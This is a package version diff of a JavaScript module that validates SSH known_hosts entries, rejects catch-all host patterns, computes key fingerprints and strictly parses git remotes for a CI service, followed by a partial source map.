@appforge-ci/core 0.3.0 → 0.3.2

package/dist/vpn-ssh.js

@@ -36,6 +36,44 @@ const KEY_TYPES = [
 // no leading ssh option fields (`command=...`), single spaces only.
 const HOSTS = String.raw `[A-Za-z0-9.*?!,:_\-\[\]|=+/]+`;
 const KNOWN_HOSTS_LINE = new RegExp(`^(@cert-authority )?(${HOSTS}) (${KEY_TYPES.map((t) => t.replace(/[.]/g, "\\.")).join("|")}) ([A-Za-z0-9+/]{20,}={0,3})( [\\x20-\\x7e]{0,200})?$`);
+/** At most this many comma-separated host patterns on one known_hosts line. */
+export const MAX_KNOWN_HOSTS_PATTERNS_PER_LINE = 16;
+/**
+ * True when a line's host-pattern field names something specific: at most
+ * `MAX_KNOWN_HOSTS_PATTERNS_PER_LINE` patterns, none empty, at least one of them
+ * a positive (not `!`-negated) pattern, and every positive pattern carries at
+ * least one literal character. A bare `*`, `?`, `*.*` or `[*]:22` would pin ONE
+ * key as the identity of EVERY server, which defeats pinning (and, as a
+ * `@cert-authority` line, would trust a CA for every host); a line of only
+ * negations matches nothing and is a typo. Hashed (`|1|salt|hash`) patterns are
+ * opaque and always count as specific.
+ */
+function hostPatternsAreSpecific(field) {
+    const patterns = field.split(",");
+    if (patterns.length > MAX_KNOWN_HOSTS_PATTERNS_PER_LINE)
+        return false;
+    let positives = 0;
+    for (const p of patterns) {
+        if (p === "" || p === "!")
+            return false;
+        if (p.startsWith("|")) {
+            positives++;
+            continue;
+        }
+        if (p.startsWith("!"))
+            continue;
+        positives++;
+        // `[host]:port` pins a port: the literal part is the host, never the port digits.
+        // For a non-default port ssh looks a host up as `[host]:PORT`, so an unbracketed
+        // `*:2222` or `*]:2222` would match every host on that port: strip any trailing
+        // `]:port` / `:port` suffix(es) before looking for a literal character.
+        const bracket = /^\[(.*)\](?::\d+)?$/.exec(p);
+        const host = (bracket ? bracket[1] : p).replace(/(\]?:\d+)+$/, "");
+        if (!/[A-Za-z0-9]/.test(host.replace(/[*?.\-_]/g, "")))
+            return false;
+    }
+    return positives > 0;
+}
 /** True when the base64 blob is a well-formed SSH wire key of type `keyType`:
  *  a sequence of length-prefixed strings that consumes the blob exactly (so a
  *  truncated or padded blob is refused), the first of which is the type name
@@ -83,7 +121,7 @@ export function sanitizeKnownHosts(input) {
         if (line === "" || line.startsWith("#"))
             return;
         const m = line.length <= MAX_KNOWN_HOSTS_LINE_LENGTH ? KNOWN_HOSTS_LINE.exec(line) : null;
-        if (!m || !blobMatchesType(m[4], m[3]) || lines.length >= MAX_KNOWN_HOSTS_LINES) {
+        if (!m || !blobMatchesType(m[4], m[3]) || !hostPatternsAreSpecific(m[2]) || lines.length >= MAX_KNOWN_HOSTS_LINES) {
             rejected.push(i + 1);
             return;
         }
@@ -105,4 +143,178 @@ export function isPlausibleSshPrivateKey(value) {
         return false;
     return /^-----BEGIN [A-Z0-9 ]{0,30}PRIVATE KEY-----\r?\n[A-Za-z0-9+/=\r\n: ,.-]+\r?\n-----END [A-Z0-9 ]{0,30}PRIVATE KEY-----\s*$/.test(value);
 }
+// ---------------------------------------------------------------------------
+// Control-plane side (PR-G): validating what a customer pastes, showing it back
+// with fingerprints, and deciding which git remotes may use ssh at all.
+// ---------------------------------------------------------------------------
+/** The agent feature that makes a lease's ssh material usable (`appforge-vpn connect` + per-build ssh state). */
+export const SSH_FEATURE = "ssh-v1";
+/**
+ * The strict front door for `sshKnownHosts` from a client: `sanitizeKnownHosts`
+ * plus an all-or-nothing verdict. A line the sanitizer drops is an ERROR here
+ * (the customer must see that part of their paste was refused, instead of the
+ * build later failing "No host key is known" for a server they thought was
+ * pinned), and nothing is stored when any line is bad. An empty list is valid
+ * and means "no ssh through this tunnel". Error text carries line numbers and
+ * the rule broken, never the offending text (a private key pasted by mistake
+ * must not travel into an error, a log or an audit entry).
+ */
+export function validateKnownHostsInput(input) {
+    if (!Array.isArray(input))
+        return { ok: false, lines: [], errors: ["knownHosts must be a list of host-key lines"] };
+    // A hard ceiling BEFORE the per-line work, so an oversized paste is one cheap error.
+    if (input.length > MAX_KNOWN_HOSTS_LINES * 4) {
+        return { ok: false, lines: [], errors: [`knownHosts has too many lines (at most ${MAX_KNOWN_HOSTS_LINES} host keys are accepted)`] };
+    }
+    const { lines, rejected } = sanitizeKnownHosts(input);
+    const errors = rejected.slice(0, 20).map((n) => `line ${n} is not an acceptable host-key line (use "host[,host...] <key-type> <base64-key>" or "@cert-authority <host-pattern> <key-type> <base64-key>", as printed by ssh-keyscan; no options, no private keys, no catch-all host patterns)`);
+    if (rejected.length > 20)
+        errors.push(`${rejected.length - 20} more line(s) were also refused`);
+    return errors.length > 0 ? { ok: false, lines: [], errors } : { ok: true, lines, errors: [] };
+}
+function toB64NoPad(bytes) {
+    const u8 = bytes instanceof Uint8Array ? bytes : new Uint8Array(bytes);
+    let bin = "";
+    for (const b of u8)
+        bin += String.fromCharCode(b);
+    return btoa(bin).replace(/=+$/, "");
+}
+function fromB64(b64) {
+    const bin = atob(b64);
+    const out = new Uint8Array(bin.length);
+    for (let i = 0; i < bin.length; i++)
+        out[i] = bin.charCodeAt(i);
+    return out;
+}
+/** `SHA256:<base64>` of an SSH wire-format key (the blob in a known_hosts or `.pub` line), as `ssh-keygen -l` prints it. */
+export async function sshKeyFingerprint(keyBase64) {
+    const digest = await crypto.subtle.digest("SHA-256", fromB64(keyBase64));
+    return `SHA256:${toB64NoPad(digest)}`;
+}
+/**
+ * Fingerprints of already-validated known_hosts lines, computed server-side so a
+ * customer compares what AppForge will actually pin with what their server
+ * prints (`ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub`). Lines that do not
+ * parse (should not happen for stored data) are skipped rather than thrown on,
+ * so a display can never be broken by a corrupt row.
+ */
+export async function knownHostsFingerprints(lines) {
+    const out = [];
+    for (const line of lines) {
+        const m = KNOWN_HOSTS_LINE.exec(line);
+        if (!m)
+            continue;
+        try {
+            out.push({ hosts: m[2], keyType: m[3], fingerprint: await sshKeyFingerprint(m[4]), certAuthority: m[1] !== undefined });
+        }
+        catch {
+            /* corrupt stored line: not shown */
+        }
+    }
+    return out;
+}
+/** The fingerprints of two stored lists compared, for the audit entry of a change: fingerprints only, never the lines. */
+export function diffFingerprints(before, after) {
+    const b = new Set(before.map((e) => e.fingerprint));
+    const a = new Set(after.map((e) => e.fingerprint));
+    return { added: [...a].filter((f) => !b.has(f)).sort(), removed: [...b].filter((f) => !a.has(f)).sort() };
+}
+/** Longest accepted `ssh://` / scp-like remote. */
+export const MAX_SSH_REMOTE_LENGTH = 1024;
+const SSH_USER = String.raw `[A-Za-z0-9_][A-Za-z0-9._-]{0,63}`;
+// A DNS name or an IPv4 address: letters, digits, dots and inner hyphens, never a leading
+// hyphen (it would be read as an ssh option), never `%`, `:`, brackets or whitespace.
+const SSH_HOST = String.raw `[A-Za-z0-9](?:[A-Za-z0-9.-]{0,251}[A-Za-z0-9])?`;
+// Path characters git hosts actually use. No `-` first (option-looking), no `?`, `#`, `%`, `\`, quotes, `$`, `;`, `|`, `&`, backticks or whitespace.
+const SSH_PATH = String.raw `[A-Za-z0-9_~+][A-Za-z0-9_~+./-]{0,500}`;
+const SSH_URL_RE = new RegExp(String.raw `^ssh://(${SSH_USER})@(${SSH_HOST})(?::([0-9]{1,5}))?/(${SSH_PATH})$`);
+const SCP_RE = new RegExp(String.raw `^(${SSH_USER})@(${SSH_HOST}):(/?${SSH_PATH})$`);
+function safeRepoPath(path) {
+    return !path.split("/").some((seg) => seg === "..");
+}
+/**
+ * Parses a git remote into one of the two shapes an app may use, or null.
+ *
+ *  - `https://…` exactly as before (the WHATWG URL parser, scheme `https:`).
+ *  - `ssh://user@host[:port]/path` and the scp-like `user@host:path`: a user name
+ *    is REQUIRED (without it ssh would use the Mac's own account name), the host
+ *    is a plain DNS name or IPv4 address, the path is a conservative character
+ *    set with no `..` segment. Anything an ssh client could read as an option or
+ *    a command (leading `-`, `%`, quotes, `$`, backticks, `;`, whitespace,
+ *    control characters, a `user:password@` form, an IPv6 literal) does not parse.
+ *
+ * This is the SYNTAX gate. Whether a given app may use an ssh remote at all
+ * (useVpn, an active tunnel with pinned host keys) is the control plane's rule,
+ * enforced by the routes and again at lease time.
+ */
+export function parseGitRemote(value) {
+    if (typeof value !== "string" || value.length === 0 || value.length > MAX_SSH_REMOTE_LENGTH)
+        return null;
+    if (value.startsWith("https://")) {
+        try {
+            const u = new URL(value);
+            if (u.protocol !== "https:")
+                return null;
+            return { kind: "https", form: "url", user: null, host: u.hostname, port: u.port ? Number(u.port) : null, path: u.pathname };
+        }
+        catch {
+            return null;
+        }
+    }
+    // eslint-disable-next-line no-control-regex
+    if (/[\x00-\x20\x7f-\x9f]|\p{Zl}|\p{Zp}/u.test(value))
+        return null;
+    if (value.startsWith("ssh://")) {
+        const m = SSH_URL_RE.exec(value);
+        if (!m)
+            return null;
+        const port = m[3] === undefined ? null : Number(m[3]);
+        if (port !== null && (port < 1 || port > 65535))
+            return null;
+        if (!safeRepoPath(m[4]))
+            return null;
+        return { kind: "ssh", form: "url", user: m[1], host: m[2], port, path: `/${m[4]}` };
+    }
+    // scp-like: no scheme. `://` anywhere means some other scheme, never scp.
+    if (value.includes("://"))
+        return null;
+    const m = SCP_RE.exec(value);
+    if (!m || !safeRepoPath(m[3]))
+        return null;
+    return { kind: "ssh", form: "scp", user: m[1], host: m[2], port: null, path: m[3] };
+}
+/** True when `value` is a (valid) ssh git remote: `ssh://` or scp-like. */
+export function isSshGitRemote(value) {
+    return parseGitRemote(value)?.kind === "ssh";
+}
+/**
+ * True when `value` is shaped like it wants a non-https, ssh transport (an ssh
+ * form, whether or not it is well-formed). The agent uses it to refuse, closed,
+ * anything that should have gone through the ssh path but cannot be proven
+ * safe, instead of letting git interpret it.
+ */
+export function looksLikeSshGitRemote(value) {
+    if (typeof value !== "string")
+        return false;
+    if (value.startsWith("ssh://"))
+        return true;
+    if (value.startsWith("https://") || value.includes("://"))
+        return false;
+    // `[user@]host:path` with no slash before the colon is git's own scp test.
+    return /^[^/:]+:/.test(value) && !/^[A-Za-z]:[\\/]/.test(value);
+}
+// --- customer-facing wording -------------------------------------------------
+/**
+ * What git over SSH through the tunnel does and does NOT give, one line each, shown
+ * by the CLI and the dashboard next to the host-key and deploy-key settings. Kept
+ * here so both surfaces (and docs/vpn.md) say the same, honest thing. Do not add a
+ * claim the code does not back: this is not compliance wording.
+ */
+export const SSH_LIMITS = [
+    "Host keys are pinned, never trusted on first use: ssh connects only to servers whose key you registered here, and refuses an unknown or changed key. Compare the fingerprints with what your own server prints (ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub) before you rely on them.",
+    "AppForge generates each app's deploy key and shows you only the public half. Install it on your git server as a read-only deploy key. The private half is stored encrypted and is handed only to the Mac that runs that app's build.",
+    "During a build the key sits in a per-build ssh-agent: build scripts can ask it to sign for your registered servers, but cannot read the key out. It is never written to disk by AppForge. Build scripts run as the same macOS user as the build agent on that Mac, so treat the deploy key as readable by the code you build: keep it read-only and scoped to one repository.",
+    "git and rsync use the tunnel automatically. A bare 'ssh host' in a build script is NOT routed through it; use ssh -F \"$APPFORGE_SSH_CONFIG\" host. Where the build is not kernel-sandboxed, a script that bypasses that wiring is not stopped from connecting elsewhere by this feature.",
+    "Clone speed through the tunnel for large repositories has not been measured.",
+];
 //# sourceMappingURL=vpn-ssh.js.map

package/dist/vpn-ssh.js.map

@@ -1 +1 @@
-{"version":3,"file":"vpn-ssh.js","sourceRoot":"","sources":["../src/vpn-ssh.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"vpn-ssh.js","sourceRoot":"","sources":["../src/vpn-ssh.ts"],"names":[],"mappings":"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